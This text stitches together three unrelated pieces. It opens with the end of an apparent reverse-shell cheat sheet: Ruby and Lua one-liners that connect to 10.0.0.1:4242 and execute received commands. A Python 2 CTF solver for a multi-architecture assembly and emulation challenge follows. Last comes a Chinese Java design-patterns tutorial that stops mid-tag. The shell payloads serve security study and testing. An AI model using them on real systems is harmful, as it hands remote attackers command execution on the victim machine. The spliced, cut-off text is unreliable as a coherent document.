-rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ### lua ```powershell lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ```
sec-knowleage
import socket import telnetlib from keystone import * from capstone import * from unicorn import * from unicorn.x86_const import * from unicorn.arm_const import * from unicorn.arm64_const import * from unicorn.mips_const import * import riscv_asm import riscv_dis import wasmlib from crypto_commons.netcat.netcat_commons import receive_until_match, receive_until from ppclib import ppc_execute from risclib import risc_execute last_stage = False s = socket.socket() Ks(KS_ARCH_PPC, KS_MODE_PPC32 + KS_MODE_BIG_ENDIAN) def interactive(s): t = telnetlib.Telnet() t.sock = s t.interact() def level(): challenge = receive_until_match(s, r'Press the Enter key to start the challenge...') print(challenge) s.send("\n") code = receive_until_match(s, r'Answer:') print 'code', code raw_code = '\n'.join(code.split('\n')[1:-1]) print 'raw_code', raw_code if '| | |___ | | |_| | | |___ ' in challenge: arch = 'i386' ks = (KS_ARCH_X86, KS_MODE_32) cs = (CS_ARCH_X86, CS_MODE_32) uc = (UC_ARCH_X86, UC_MODE_32) uc_result = UC_X86_REG_EAX uc_stack = UC_X86_REG_ESP elif "`. `' .' / / \ ' / ' _ \\" in challenge: arch = 'x64' ks = (KS_ARCH_X86, KS_MODE_64) cs = (CS_ARCH_X86, CS_MODE_64) uc = (UC_ARCH_X86, UC_MODE_64) uc_result = UC_X86_REG_RAX uc_stack = UC_X86_REG_RSP elif ' |_ _| | || | |_ __ \ | || | / ___ | |' in challenge: arch = 'mips' ks = (KS_ARCH_MIPS, KS_MODE_MIPS32 + KS_MODE_BIG_ENDIAN) cs = (CS_ARCH_MIPS, CS_MODE_MIPS32 + CS_MODE_BIG_ENDIAN) uc = (UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN) uc_result = UC_MIPS_REG_V0 uc_stack = UC_MIPS_REG_29 elif '/ /\ \ / /\ \ ) (__) ) / / \ (__) / / / ( (__) (_' in challenge: arch = 'aarch64' ks = (KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) cs = (CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN) uc = (UC_ARCH_ARM64, UC_MODE_ARM) uc_result = UC_ARM64_REG_X0 uc_stack = UC_ARM64_REG_SP elif '|____| |____||____| |___||_____||_____' in challenge: arch = 'arm' ks = (KS_ARCH_ARM, KS_MODE_ARM) cs = (CS_ARCH_ARM, CS_MODE_ARM) uc = (UC_ARCH_ARM, UC_MODE_ARM) uc_result = UC_ARM_REG_R0 uc_stack = UC_ARM_REG_SP elif '|_| \_\_____|_____/ \_____| \/ ' in challenge: # risc arch = 'risc' response = riscv_asm.asm(raw_code).encode('base64').replace('\n', '') global last_stage last_stage = True elif last_stage: arch = 'wasm' response = wasmlib.asm(raw_code).encode('base64').replace('\n', '') else: # assume PPC32 arch = 'ppc32' ks = (KS_ARCH_PPC, KS_MODE_PPC32 + KS_MODE_BIG_ENDIAN) cs = (CS_ARCH_PPC, CS_MODE_32 + CS_MODE_BIG_ENDIAN) for i in range(32): raw_code = raw_code.replace("r" + str(i), str(i)) print 'architecture:', arch if arch != 'risc' and arch!='wasm': ks = Ks(ks[0], ks[1]) encoding, count = ks.asm(raw_code) if arch == 'mips': encoding = encoding[:-4] # untestedy yet response = ''.join(map(chr, encoding)).encode('base64').replace('\n', '') print 'response', response s.send(response + '\n') print(receive_until(s, '\n')) out = receive_until(s, '\n') print(out) if arch == 'risc': code = out.decode('base64') result = riscv_dis.dis(code) elif arch == 'wasm': # wasm code = out.decode('base64') result = wasmlib.dis(code) else: cs = Cs(cs[0], cs[1]) result = [] for i in cs.disasm(out.decode('base64'), 0x1000): result += [(i.mnemonic + " " + i.op_str).strip()] result = '\n'.join(result) print 'asm', result resultb64 = result.encode('base64').replace('\n', '') print 'asmb64', resultb64 s.send(resultb64 + '\n') print 'D', s.recv(99999) print 'E', s.recv(99999) challenge = s.recv(99999) print repr(challenge) data = challenge[8:-10] print data.encode('hex') if arch == 'risc': result = riscv_dis.dis(data) print(result) elif arch == 'wasm': result = wasmlib.dis(data) print(result) else: result = [] for i in cs.disasm(challenge, 0x1000): result += [(i.mnemonic + " " + i.op_str).strip()] result = '\n'.join(result) print result # callback for tracing instructions def hook_code(uc, address, size, user_data): print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size)) for kot in cs.disasm(data[address - ADDRESS:address - ADDRESS + size], 4): OP = kot.mnemonic + " " + kot.op_str print 'OK', OP break if 'jr $ra' in OP: uc.emu_stop() elif 'ret' in OP: uc.emu_stop() elif 'bx lr' in OP: uc.emu_stop() return 'kot' if arch == 'ppc32': out = ppc_execute(result) elif arch == 'risc': out = risc_execute(result) elif arch == 'wasm': out = wasmlib.eval(result) else: uc = Uc(uc[0], uc[1]) ADDRESS = 0x10000000 STACK = 0x20000000 uc.mem_map(ADDRESS, 4 * 1024 * 1024) uc.mem_map(STACK, 4 * 1024 * 1024) uc.mem_write(ADDRESS, data) uc.reg_write(uc_stack, STACK + 0x2000) # tracing one instruction at ADDRESS with customized callback uc.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS + len(data)) uc.emu_start(ADDRESS, ADDRESS + len(data)) out = uc.reg_read(uc_result) print "RESULT", hex(out) if arch!='wasm': s.sendall(hex(out).replace('L', '') + '\n') else: s.sendall(str(out)+"\n") interactive(s) print(receive_until_match(s, '------------------------------')) data = receive_until_match(s, '------------------------------') print(data) if "Wrong" in data: interactive(s) def main(): global s s = socket.socket() s.connect(('13.231.83.89', 30262)) print 'A', s.recv(999999) print 'B', s.recv(999999) s.send('\n') print 'C', s.recv(999999) print 'D', s.recv(999999) s.send('\n') print 'E', s.recv(999999) print 'F', s.recv(999999) s.send('\n') print 'G', s.recv(999999) print 'H', s.recv(999999) s.send('A\n') print 'I', s.recv(999999) print 'J', s.recv(999999) s.send('\n') print 'K', s.recv(999999) print 'L', s.recv(999999) s.send('B\n') print 'M', s.recv(999999) print 'N', s.recv(999999) s.send('\n') print 'O', s.recv(999999) s.send('duck\n') for i in range(7): print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') level() for i in range(16): print(receive_until_match(s, "w/a/s/d:")) s.sendall('d\n') print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') level() for i in range(9): print(receive_until_match(s, "w/a/s/d:")) s.sendall('s\n') level() for i in range(16): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') print(receive_until_match(s, "w/a/s/d:")) s.sendall('s\n') level() for i in range(15): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') print(receive_until_match(s, "w/a/s/d:")) s.sendall('s\n') level() for i in range(6): print(receive_until_match(s, "w/a/s/d:")) s.sendall('d\n') for i in range(4): print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') for i in range(2): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') level() for i in range(4): print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') for i in range(5): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') level() while True: data = receive_until_match(s, '(Press the Enter key to continue...)') print(data) if 'EXIT2' in data: break s.sendall('\n') rakflag() def rakflag(): for i in range(7): print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') for i in range(16): print(receive_until_match(s, "w/a/s/d:")) s.sendall('d\n') print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') for i in range(10): print(receive_until_match(s, "w/a/s/d:")) s.sendall('s\n') for i in range(17): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') print(receive_until_match(s, "w/a/s/d:")) s.sendall('s\n') for i in range(16): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') print(receive_until_match(s, "w/a/s/d:")) s.sendall('s\n') for i in range(6): print(receive_until_match(s, "w/a/s/d:")) s.sendall('d\n') for i in range(4): print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') for i in range(2): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') for i in range(4): print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') for i in range(5): print(receive_until_match(s, "w/a/s/d:")) s.sendall('a\n') for i in range(2): print(receive_until_match(s, "w/a/s/d:")) s.sendall('w\n') for i in range(25): print(receive_until_match(s, "w/a/s/d:")) s.sendall('d\n') for i in range(4): print(receive_until_match(s, "w/a/s/d:")) s.sendall('s\n') for i in range(10): print(receive_until_match(s, "w/a/s/d:")) s.sendall('d\n') print(receive_until_match(s, "(Press the Enter key to continue...)")) s.sendall("\n") print(receive_until_match(s, "(Press the Enter key to continue...)")) s.sendall("\n") print(receive_until_match(s, "(Press the Enter key to continue...)")) s.sendall("\n") level() s.sendall("\n") s.sendall("\n") s.sendall("\n") interactive(s) main()
sec-knowleage
<!-- GFM-TOC --> * [一、概述](#一概述) * [二、创建型](#二创建型) * [1. 单例(Singleton)](#1-单例singleton) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [Examples](#examples) * [JDK](#jdk) * [2. 简单工厂(Simple Factory)](#2-简单工厂simple-factory) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [3. 工厂方法(Factory Method)](#3-工厂方法factory-method) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [4. 抽象工厂(Abstract Factory)](#4-抽象工厂abstract-factory) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [5. 生成器(Builder)](#5-生成器builder) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [6. 原型模式(Prototype)](#6-原型模式prototype) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [三、行为型](#三行为型) * [1. 责任链(Chain Of Responsibility)](#1-责任链chain-of-responsibility) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [2. 命令(Command)](#2-命令command) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [3. 解释器(Interpreter)](#3-解释器interpreter) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [4. 迭代器(Iterator)](#4-迭代器iterator) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [5. 中介者(Mediator)](#5-中介者mediator) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [6. 备忘录(Memento)](#6-备忘录memento) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [7. 观察者(Observer)](#7-观察者observer) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [8. 状态(State)](#8-状态state) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [9. 策略(Strategy)](#9-策略strategy) * [Intent](#intent) * [Class Diagram](#class-diagram) * [与状态模式的比较](#与状态模式的比较) * [Implementation](#implementation) * [JDK](#jdk) * [10. 模板方法(Template Method)](#10-模板方法template-method) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [11. 访问者(Visitor)](#11-访问者visitor) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [12. 空对象(Null)](#12-空对象null) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [四、结构型](#四结构型) * [1. 适配器(Adapter)](#1-适配器adapter) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [2. 桥接(Bridge)](#2-桥接bridge) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [3. 组合(Composite)](#3-组合composite) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [4. 装饰(Decorator)](#4-装饰decorator) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [设计原则](#设计原则) * [JDK](#jdk) * [5. 外观(Facade)](#5-外观facade) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [设计原则](#设计原则) * [6. 享元(Flyweight)](#6-享元flyweight) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [7. 代理(Proxy)](#7-代理proxy) * [Intent](#intent) * [Class Diagram](#class-diagram) * [Implementation](#implementation) * [JDK](#jdk) * [参考资料](#参考资料) <!-- GFM-TOC --> # 一、概述 设计模式是解决问题的方案,学习现有的设计模式可以做到经验复用。 拥有设计模式词汇,在沟通时就能用更少的词汇来讨论,并且不需要了解底层细节。 # 二、创建型 ## 1. 单例(Singleton) ### Intent 确保一个类只有一个实例,并提供该实例的全局访问点。 ### Class Diagram 使用一个私有构造函数、一个私有静态变量以及一个公有静态函数来实现。 私有构造函数保证了不能通过构造函数来创建对象实例,只能通过公有静态函数返回唯一的私有静态变量。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/eca1f422-8381-409b-ad04-98ef39ae38ba.png"/> </div><br> ### Implementation #### Ⅰ 懒汉式-线程不安全 以下实现中,私有静态变量 uniqueInstance 被延迟实例化,这样做的好处是,如果没有用到该类,那么就不会实例化 uniqueInstance,从而节约资源。 这个实现在多线程环境下是不安全的,如果多个线程能够同时进入 `if (uniqueInstance == null)` ,并且此时 uniqueInstance 为 null,那么会有多个线程执行 `uniqueInstance = new Singleton();` 语句,这将导致实例化多次 uniqueInstance。 ```java public class Singleton { private static Singleton uniqueInstance; private Singleton() { } public static Singleton getUniqueInstance() { if (uniqueInstance == null) { uniqueInstance = new Singleton(); } return uniqueInstance; } } ``` #### Ⅱ 饿汉式-线程安全 线程不安全问题主要是由于 uniqueInstance 被实例化多次,采取直接实例化 uniqueInstance 的方式就不会产生线程不安全问题。 但是直接实例化的方式也丢失了延迟实例化带来的节约资源的好处。 ```java private static Singleton uniqueInstance = new Singleton(); ``` #### Ⅲ 懒汉式-线程安全 只需要对 getUniqueInstance() 方法加锁,那么在一个时间点只能有一个线程能够进入该方法,从而避免了实例化多次 uniqueInstance。 但是当一个线程进入该方法之后,其它试图进入该方法的线程都必须等待,即使 uniqueInstance 已经被实例化了。这会让线程阻塞时间过长,因此该方法有性能问题,不推荐使用。 ```java public static synchronized Singleton getUniqueInstance() { if (uniqueInstance == null) { uniqueInstance = new Singleton(); } return uniqueInstance; } ``` #### Ⅳ 双重校验锁-线程安全 uniqueInstance 只需要被实例化一次,之后就可以直接使用了。加锁操作只需要对实例化那部分的代码进行,只有当 uniqueInstance 没有被实例化时,才需要进行加锁。 双重校验锁先判断 uniqueInstance 是否已经被实例化,如果没有被实例化,那么才对实例化语句进行加锁。 ```java public class Singleton { private volatile static Singleton uniqueInstance; private Singleton() { } public static Singleton getUniqueInstance() { if (uniqueInstance == null) { synchronized (Singleton.class) { if (uniqueInstance == null) { uniqueInstance = new Singleton(); } } } return uniqueInstance; } } ``` 考虑下面的实现,也就是只使用了一个 if 语句。在 uniqueInstance == null 的情况下,如果两个线程都执行了 if 语句,那么两个线程都会进入 if 语句块内。虽然在 if 语句块内有加锁操作,但是两个线程都会执行 `uniqueInstance = new Singleton();` 这条语句,只是先后的问题,那么就会进行两次实例化。因此必须使用双重校验锁,也就是需要使用两个 if 语句:第一个 if 语句用来避免 uniqueInstance 已经被实例化之后的加锁操作,而第二个 if 语句进行了加锁,所以只能有一个线程进入,就不会出现 uniqueInstance == null 时两个线程同时进行实例化操作。 ```java if (uniqueInstance == null) { synchronized (Singleton.class) { uniqueInstance = new Singleton(); } } ``` uniqueInstance 采用 volatile 关键字修饰也是很有必要的, `uniqueInstance = new Singleton();` 这段代码其实是分为三步执行: 1. 为 uniqueInstance 分配内存空间 2. 初始化 uniqueInstance 3. 将 uniqueInstance 指向分配的内存地址 但是由于 JVM 具有指令重排的特性,执行顺序有可能变成 1>3>2。指令重排在单线程环境下不会出现问题,但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如,线程 T<sub>1</sub> 执行了 1 和 3,此时 T<sub>2</sub> 调用 getUniqueInstance() 后发现 uniqueInstance 不为空,因此返回 uniqueInstance,但此时 uniqueInstance 还未被初始化。 使用 volatile 可以禁止 JVM 的指令重排,保证在多线程环境下也能正常运行。 #### Ⅴ 静态内部类实现 当 Singleton 类被加载时,静态内部类 SingletonHolder 没有被加载进内存。只有当调用 `getUniqueInstance()` 方法从而触发 `SingletonHolder.INSTANCE` 时 SingletonHolder 才会被加载,此时初始化 INSTANCE 实例,并且 JVM 能确保 INSTANCE 只被实例化一次。 这种方式不仅具有延迟初始化的好处,而且由 JVM 提供了对线程安全的支持。 ```java public class Singleton { private Singleton() { } private static class SingletonHolder { private static final Singleton INSTANCE = new Singleton(); } public static Singleton getUniqueInstance() { return SingletonHolder.INSTANCE; } } ``` #### Ⅵ 枚举实现 ```java public enum Singleton { INSTANCE; private String objName; public String getObjName() { return objName; } public void setObjName(String objName) { this.objName = objName; } public static void main(String[] args) { // 单例测试 Singleton firstSingleton = Singleton.INSTANCE; firstSingleton.setObjName("firstName"); System.out.println(firstSingleton.getObjName()); Singleton secondSingleton = Singleton.INSTANCE; secondSingleton.setObjName("secondName"); System.out.println(firstSingleton.getObjName()); System.out.println(secondSingleton.getObjName()); // 反射获取实例测试 try { Singleton[] enumConstants = Singleton.class.getEnumConstants(); for (Singleton enumConstant : enumConstants) { System.out.println(enumConstant.getObjName()); } } catch (Exception e) { e.printStackTrace(); } } } ``` ```html firstName secondName secondName secondName ``` 该实现可以防止反射攻击。在其它实现中,通过 setAccessible() 方法可以将私有构造函数的访问级别设置为 public,然后调用构造函数从而实例化对象,如果要防止这种攻击,需要在构造函数中添加防止多次实例化的代码。该实现是由 JVM 保证只会实例化一次,因此不会出现上述的反射攻击。 该实现在多次序列化和序列化之后,不会得到多个实例。而其它实现需要使用 transient 修饰所有字段,并且实现序列化和反序列化的方法。 ### Examples - Logger Classes - Configuration Classes - Accesing resources in shared mode - Factories implemented as Singletons ### JDK - [java.lang.Runtime#getRuntime()](http://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#getRuntime%28%29) - [java.awt.Desktop#getDesktop()](http://docs.oracle.com/javase/8/docs/api/java/awt/Desktop.html#getDesktop--) - [java.lang.System#getSecurityManager()](http://docs.oracle.com/javase/8/docs/api/java/lang/System.html#getSecurityManager--) ## 2. 简单工厂(Simple Factory) ### Intent 在创建一个对象时不向客户暴露内部细节,并提供一个创建对象的通用接口。 ### Class Diagram 简单工厂把实例化的操作单独放到一个类中,这个类就成为简单工厂类,让简单工厂类来决定应该用哪个具体子类来实例化。 这样做能把客户类和具体子类的实现解耦,客户类不再需要知道有哪些子类以及应当实例化哪个子类。客户类往往有多个,如果不使用简单工厂,那么所有的客户类都要知道所有子类的细节。而且一旦子类发生改变,例如增加子类,那么所有的客户类都要进行修改。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/40c0c17e-bba6-4493-9857-147c0044a018.png"/> </div><br> ### Implementation ```java public interface Product { } ``` ```java public class ConcreteProduct implements Product { } ``` ```java public class ConcreteProduct1 implements Product { } ``` ```java public class ConcreteProduct2 implements Product { } ``` 以下的 Client 类包含了实例化的代码,这是一种错误的实现。如果在客户类中存在这种实例化代码,就需要考虑将代码放到简单工厂中。 ```java public class Client { public static void main(String[] args) { int type = 1; Product product; if (type == 1) { product = new ConcreteProduct1(); } else if (type == 2) { product = new ConcreteProduct2(); } else { product = new ConcreteProduct(); } // do something with the product } } ``` 以下的 SimpleFactory 是简单工厂实现,它被所有需要进行实例化的客户类调用。 ```java public class SimpleFactory { public Product createProduct(int type) { if (type == 1) { return new ConcreteProduct1(); } else if (type == 2) { return new ConcreteProduct2(); } return new ConcreteProduct(); } } ``` ```java public class Client { public static void main(String[] args) { SimpleFactory simpleFactory = new SimpleFactory(); Product product = simpleFactory.createProduct(1); // do something with the product } } ``` ## 3. 工厂方法(Factory Method) ### Intent 定义了一个创建对象的接口,但由子类决定要实例化哪个类。工厂方法把实例化操作推迟到子类。 ### Class Diagram 在简单工厂中,创建对象的是另一个类,而在工厂方法中,是由子类来创建对象。 下图中,Factory 有一个 doSomething() 方法,这个方法需要用到一个产品对象,这个产品对象由 factoryMethod() 方法创建。该方法是抽象的,需要由子类去实现。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f4d0afd0-8e78-4914-9e60-4366eaf065b5.png"/> </div><br> ### Implementation ```java public abstract class Factory { abstract public Product factoryMethod(); public void doSomething() { Product product = factoryMethod(); // do something with the product } } ``` ```java public class ConcreteFactory extends Factory { public Product factoryMethod() { return new ConcreteProduct(); } } ``` ```java public class ConcreteFactory1 extends Factory { public Product factoryMethod() { return new ConcreteProduct1(); } } ``` ```java public class ConcreteFactory2 extends Factory { public Product factoryMethod() { return new ConcreteProduct2(); } } ``` ### JDK - [java.util.Calendar](http://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#getInstance--) - [java.util.ResourceBundle](http://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html#getBundle-java.lang.String-) - [java.text.NumberFormat](http://docs.oracle.com/javase/8/docs/api/java/text/NumberFormat.html#getInstance--) - [java.nio.charset.Charset](http://docs.oracle.com/javase/8/docs/api/java/nio/charset/Charset.html#forName-java.lang.String-) - [java.net.URLStreamHandlerFactory](http://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandlerFactory.html#createURLStreamHandler-java.lang.String-) - [java.util.EnumSet](https://docs.oracle.com/javase/8/docs/api/java/util/EnumSet.html#of-E-) - [javax.xml.bind.JAXBContext](https://docs.oracle.com/javase/8/docs/api/javax/xml/bind/JAXBContext.html#createMarshaller--) ## 4. 抽象工厂(Abstract Factory) ### Intent 提供一个接口,用于创建 **相关的对象家族** 。 ### Class Diagram 抽象工厂模式创建的是对象家族,也就是很多对象而不是一个对象,并且这些对象是相关的,也就是说必须一起创建出来。而工厂方法模式只是用于创建一个对象,这和抽象工厂模式有很大不同。 抽象工厂模式用到了工厂方法模式来创建单一对象,AbstractFactory 中的 createProductA() 和 createProductB() 方法都是让子类来实现,这两个方法单独来看就是在创建一个对象,这符合工厂方法模式的定义。 至于创建对象的家族这一概念是在 Client 体现,Client 要通过 AbstractFactory 同时调用两个方法来创建出两个对象,在这里这两个对象就有很大的相关性,Client 需要同时创建出这两个对象。 从高层次来看,抽象工厂使用了组合,即 Cilent 组合了 AbstractFactory,而工厂方法模式使用了继承。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e2190c36-8b27-4690-bde5-9911020a1294.png"/> </div><br> ### Implementation ```java public class AbstractProductA { } ``` ```java public class AbstractProductB { } ``` ```java public class ProductA1 extends AbstractProductA { } ``` ```java public class ProductA2 extends AbstractProductA { } ``` ```java public class ProductB1 extends AbstractProductB { } ``` ```java public class ProductB2 extends AbstractProductB { } ``` ```java public abstract class AbstractFactory { abstract AbstractProductA createProductA(); abstract AbstractProductB createProductB(); } ``` ```java public class ConcreteFactory1 extends AbstractFactory { AbstractProductA createProductA() { return new ProductA1(); } AbstractProductB createProductB() { return new ProductB1(); } } ``` ```java public class ConcreteFactory2 extends AbstractFactory { AbstractProductA createProductA() { return new ProductA2(); } AbstractProductB createProductB() { return new ProductB2(); } } ``` ```java public class Client { public static void main(String[] args) { AbstractFactory abstractFactory = new ConcreteFactory1(); AbstractProductA productA = abstractFactory.createProductA(); AbstractProductB productB = abstractFactory.createProductB(); // do something with productA and productB } } ``` ### JDK - [javax.xml.parsers.DocumentBuilderFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/parsers/DocumentBuilderFactory.html) - [javax.xml.transform.TransformerFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/transform/TransformerFactory.html#newInstance--) - [javax.xml.xpath.XPathFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/xpath/XPathFactory.html#newInstance--) ## 5. 生成器(Builder) ### Intent 封装一个对象的构造过程,并允许按步骤构造。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/db5e376d-0b3e-490e-a43a-3231914b6668.png"/> </div><br> ### Implementation 以下是一个简易的 StringBuilder 实现,参考了 JDK 1.8 源码。 ```java public class AbstractStringBuilder { protected char[] value; protected int count; public AbstractStringBuilder(int capacity) { count = 0; value = new char[capacity]; } public AbstractStringBuilder append(char c) { ensureCapacityInternal(count + 1); value[count++] = c; return this; } private void ensureCapacityInternal(int minimumCapacity) { // overflow-conscious code if (minimumCapacity - value.length > 0) expandCapacity(minimumCapacity); } void expandCapacity(int minimumCapacity) { int newCapacity = value.length * 2 + 2; if (newCapacity - minimumCapacity < 0) newCapacity = minimumCapacity; if (newCapacity < 0) { if (minimumCapacity < 0) // overflow throw new OutOfMemoryError(); newCapacity = Integer.MAX_VALUE; } value = Arrays.copyOf(value, newCapacity); } } ``` ```java public class StringBuilder extends AbstractStringBuilder { public StringBuilder() { super(16); } @Override public String toString() { // Create a copy, don't share the array return new String(value, 0, count); } } ``` ```java public class Client { public static void main(String[] args) { StringBuilder sb = new StringBuilder(); final int count = 26; for (int i = 0; i < count; i++) { sb.append((char) ('a' + i)); } System.out.println(sb.toString()); } } ``` ```html abcdefghijklmnopqrstuvwxyz ``` ### JDK - [java.lang.StringBuilder](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuilder.html) - [java.nio.ByteBuffer](http://docs.oracle.com/javase/8/docs/api/java/nio/ByteBuffer.html#put-byte-) - [java.lang.StringBuffer](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuffer.html#append-boolean-) - [java.lang.Appendable](http://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html) - [Apache Camel builders](https://github.com/apache/camel/tree/0e195428ee04531be27a0b659005e3aa8d159d23/camel-core/src/main/java/org/apache/camel/builder) ## 6. 原型模式(Prototype) ### Intent 使用原型实例指定要创建对象的类型,通过复制这个原型来创建新对象。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b8922f8c-95e6-4187-be85-572a509afb71.png"/> </div><br> ### Implementation ```java public abstract class Prototype { abstract Prototype myClone(); } ``` ```java public class ConcretePrototype extends Prototype { private String filed; public ConcretePrototype(String filed) { this.filed = filed; } @Override Prototype myClone() { return new ConcretePrototype(filed); } @Override public String toString() { return filed; } } ``` ```java public class Client { public static void main(String[] args) { Prototype prototype = new ConcretePrototype("abc"); Prototype clone = prototype.myClone(); System.out.println(clone.toString()); } } ``` ```html abc ``` ### JDK - [java.lang.Object#clone()](http://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#clone%28%29) # 三、行为型 ## 1. 责任链(Chain Of Responsibility) ### Intent 使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。将这些对象连成一条链,并沿着这条链发送该请求,直到有一个对象处理它为止。 ### Class Diagram - Handler:定义处理请求的接口,并且实现后继链(successor) <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ca9f23bf-55a4-47b2-9534-a28e35397988.png"/> </div><br> ### Implementation ```java public abstract class Handler { protected Handler successor; public Handler(Handler successor) { this.successor = successor; } protected abstract void handleRequest(Request request); } ``` ```java public class ConcreteHandler1 extends Handler { public ConcreteHandler1(Handler successor) { super(successor); } @Override protected void handleRequest(Request request) { if (request.getType() == RequestType.TYPE1) { System.out.println(request.getName() + " is handle by ConcreteHandler1"); return; } if (successor != null) { successor.handleRequest(request); } } } ``` ```java public class ConcreteHandler2 extends Handler { public ConcreteHandler2(Handler successor) { super(successor); } @Override protected void handleRequest(Request request) { if (request.getType() == RequestType.TYPE2) { System.out.println(request.getName() + " is handle by ConcreteHandler2"); return; } if (successor != null) { successor.handleRequest(request); } } } ``` ```java public class Request { private RequestType type; private String name; public Request(RequestType type, String name) { this.type = type; this.name = name; } public RequestType getType() { return type; } public String getName() { return name; } } ``` ```java public enum RequestType { TYPE1, TYPE2 } ``` ```java public class Client { public static void main(String[] args) { Handler handler1 = new ConcreteHandler1(null); Handler handler2 = new ConcreteHandler2(handler1); Request request1 = new Request(RequestType.TYPE1, "request1"); handler2.handleRequest(request1); Request request2 = new Request(RequestType.TYPE2, "request2"); handler2.handleRequest(request2); } } ``` ```html request1 is handle by ConcreteHandler1 request2 is handle by ConcreteHandler2 ``` ### JDK - [java.util.logging.Logger#log()](http://docs.oracle.com/javase/8/docs/api/java/util/logging/Logger.html#log%28java.util.logging.Level,%20java.lang.String%29) - [Apache Commons Chain](https://commons.apache.org/proper/commons-chain/index.html) - [javax.servlet.Filter#doFilter()](http://docs.oracle.com/javaee/7/api/javax/servlet/Filter.html#doFilter-javax.servlet.ServletRequest-javax.servlet.ServletResponse-javax.servlet.FilterChain-) ## 2. 命令(Command) ### Intent 将命令封装成对象中,具有以下作用: - 使用命令来参数化其它对象 - 将命令放入队列中进行排队 - 将命令的操作记录到日志中 - 支持可撤销的操作 ### Class Diagram - Command:命令 - Receiver:命令接收者,也就是命令真正的执行者 - Invoker:通过它来调用命令 - Client:可以设置命令与命令的接收者 <div align="center"> <img 